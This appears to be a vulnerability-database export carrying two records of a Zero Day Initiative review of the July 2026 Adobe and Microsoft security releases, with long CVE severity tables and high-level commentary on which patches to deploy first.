Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:27.520692Z"}, {"uuid": "f50c396d-b315-40e7-ae01-145dc4721716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54983", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n 